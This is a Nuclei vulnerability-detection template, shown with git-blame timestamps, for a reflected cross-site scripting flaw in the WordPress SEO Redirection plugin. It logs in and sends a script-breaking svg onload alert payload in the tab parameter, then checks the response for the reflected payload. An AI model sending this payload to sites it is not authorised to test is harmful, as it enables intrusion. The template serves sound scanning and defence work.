2022-05-14 23:02:53 +00:00
id : seo-redirection-xss
info :
2022-09-08 13:28:46 +00:00
name : WordPress SEO Redirection <7.4 - Cross-Site Scripting
2022-05-14 23:02:53 +00:00
author : DhiyaneshDK
severity : medium
description : |
2022-09-08 13:28:46 +00:00
WordPress SEO Redirection 7.4 does not escape the tab parameter before outputting it back in JavaScript code, leading to a reflected cross-site scripting vulnerability.
2022-05-14 23:02:53 +00:00
remediation : Fixed in version 7.4.
reference :
- https://wpscan.com/vulnerability/b694b9c0-a367-468c-99c2-6ba35bcf21ea
2022-09-08 13:28:46 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score : 7.2
cwe-id : CWE-79
2022-08-27 04:41:18 +00:00
tags : wordpress,xss,wp-plugin,authenticated,wpscan
2022-05-14 23:02:53 +00:00
requests :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Origin : {{RootURL}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
POST /wp-admin/options-general.php?page=seo-redirection.php&tab=cutom HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
Cookie : wordpress_test_cookie=WP%20Cookie%20check
tab=%3C%2Fscript%3E%3Csvg%2Fonload%3Dalert%28%2FXSS%2F%29%3E
- |
GET /wp-admin/admin.php?page=wpda_duplicate_post_menu HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers-condition : and
matchers :
- type : word
part : body
words :
- "</script><svg/onload=alert(/XSS/)>"
- "settings_page_seo-redirection"
2022-05-14 23:18:52 +00:00
condition : and
2022-05-14 23:02:53 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2022-09-08 13:28:46 +00:00
# Enhanced by mp on 2022/09/07